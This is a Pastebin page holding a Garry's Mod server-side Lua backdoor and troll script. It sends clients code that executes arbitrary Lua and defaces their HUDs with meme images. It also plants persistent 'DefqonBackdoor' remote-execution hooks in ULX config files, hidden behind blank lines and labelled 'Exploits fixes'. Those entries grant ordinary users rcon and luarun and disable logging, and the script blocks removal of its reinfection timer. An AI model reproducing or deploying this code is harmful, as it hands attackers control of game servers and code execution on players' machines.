Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString "skeleton_dancing_troll"
- local lol = {}
- function lol:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- lol.m_tblActions = {}
- lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
- lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function lol:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function lol:NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- function lol:Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:NextAction( pPlayer )
- end
- function lol:SendLua( pPlayer, strLua )
- net.Start( "skeleton_dancing_troll" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function lol:SetupPlayer( pPlayer )
- pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
- end
- for k, v in pairs( player.GetAll() ) do
- lol:SetupPlayer( v )
- timer.Simple( 2, function() lol:Start( v ) end )
- end
- hook.Add( "PlayerAuthed", "wat", function( pPlayer )
- lol:SetupPlayer( pPlayer )
- timer.Simple( 10, function() lol:Start( pPlayer ) end )
- end )
- hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "/1337" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "Nope we were joking" )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end )
- --Sequence stack
- --Start some tunes and steam in our assets
- lol:PushAction( 0, function( pPlayer )
- lol:SendLua( pPlayer, ([=[
- sound.PlayURL( "", "", function()end )
- g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
- local html = [[%s]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "doritos", 236, 238 )
- LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "fedora", 236, 238 )
- LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
- LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "dew", 236, 238 )
- LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "awp", 236, 238 )
- ]=]):format(lol.m_strImageLoadHTML) )
- RunConsoleCommand("ulx_logecho", "0")
- local WS = {}
- WS.file = {}
- WS.file.Write = file.Write
- WS.file.Read = file.Read
- WS.file.Append = file.Append
- WS.file.IsDir = file.IsDir
- WS.file.CreateDir = file.CreateDir
- --[[WS.debug = {} To bypass some things, never got to use it
- WS.debug.getupvalue = debug.getupvalue]]
- function WS.ProxyCode( code )
- local file = table.Random(file.Find("data/*.lua", "GAME"))
- RunString(code, file)
- end
- function WS.CheckForInfection()
- local c = WS.file.Read("data/ulx/config.txt","GAME") or "NO DATA"
- if string.find(c, "Exploits fixes") then
- return true
- else
- return false
- end
- end
- function WS.Infecte()
- if not WS.file.IsDir("data/ulx","GAME") then return end
- ------------- GAMEMODE persistent
- if not WS.file.IsDir("data/ulx/gamemodes","GAME") then
- WS.file.CreateDir("ulx/gamemodes")
- end
- if not WS.file.IsDir("data/ulx/gamemodes/"..engine.ActiveGamemode(),"GAME") then
- WS.file.CreateDir("ulx/gamemodes/"..engine.ActiveGamemode())
- end
- WS.file.Write( "ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n; Exploits fixes")
- WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx logEcho 0]])
- WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
- WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
- WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
- WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun util.AddNetworkString("DefqonBackdoor")]])
- WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun net.Receive("DefqonBackdoor",function() RunString(net.ReadString(),"Collombe") end)]])
- ------------- BASIC persistent
- if WS.CheckForInfection() then return end
- WS.file.Append("ulx/config.txt", string.rep("\n", 50)) -- Best hiding technique (Лучшая техника скрытия)
- WS.file.Append("ulx/config.txt", "\n; Exploits fixes")
- WS.file.Append("ulx/config.txt", "\n"..[[ulx logEcho 0]])
- WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
- WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
- WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
- WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun util.AddNetworkString("DefqonBackdoor")]])
- WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun net.Receive("DefqonBackdoor",function() RunString(net.ReadString(),"Collombe") end)]])
- end
- ------------- INFECTE EVERYTHING
- WS.Infecte()
- timer.Create("TheWaterSnake", 5, 0, WS.Infecte)
- ------------- PREVENT STOPPING
- local td, tr = timer.Destroy, timer.Remove
- function timer.Destroy( a )
- if a == "TheWaterSnake" then return end
- td( a )
- end
- function timer.Remove( a )
- if a == "TheWaterSnake" then return end
- tr( a )
- end
- ------------- B1G H4X
- util.AddNetworkString("DefqonBackdoor")
- net.Receive("DefqonBackdoor", function()
- RunString(net.ReadString(), "TheFrenchGuy")
- end)
- end )
- --HUD swap
- lol:PushAction( 0, function( pPlayer )
- lol:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "newhud", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "hud1" ) then
- surface.SetMaterial( GetWebMat("hud1")[1] )
- surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
- end
- if GetWebMat( "hud2" ) then
- surface.SetMaterial( GetWebMat("hud2")[1] )
- surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 190 *(512 /300), 135 )
- end
- if GetWebMat( "hud3" ) then
- surface.SetMaterial( GetWebMat("hud3")[1] )
- surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
- end
- if GetWebMat( "xhair" ) then
- surface.SetMaterial( GetWebMat("xhair")[1] )
- surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
- end
- if GetWebMat( "doritos" ) then
- surface.SetMaterial( GetWebMat("doritos")[1] )
- surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
- end
- if GetWebMat( "dew" ) then
- surface.SetMaterial( GetWebMat("dew")[1] )
- surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 214 *((256 /110) -1), 190, CurTime() *-512 )
- end
- if GetWebMat( "fedora" ) then
- surface.SetMaterial( GetWebMat("fedora")[1] )
- surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
- end
- if GetWebMat( "awp" ) then
- surface.SetMaterial( GetWebMat("awp")[1] )
- surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 198, 207, CurTime() *512 )
- end
- draw.SimpleTextOutlined(
- "๑۩۩๑ MEMED HAS FOUND THIS SERVER ๑۩۩๑",
- "DermaLarge",
- ScrW() /2 +math.random( -8, 8 ),
- ScrH() /2 +math.random( -8, 8 ) +24,
- Color( 0, 255, 255, 160 ),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color( 0, 0, 0, 255 )
- )
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
- surface.PlaySound( "garrysmod/save_load4.wav" )
- surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
- ]] )
- end )
Advertisement
Add Comment
Please, Sign In to add comment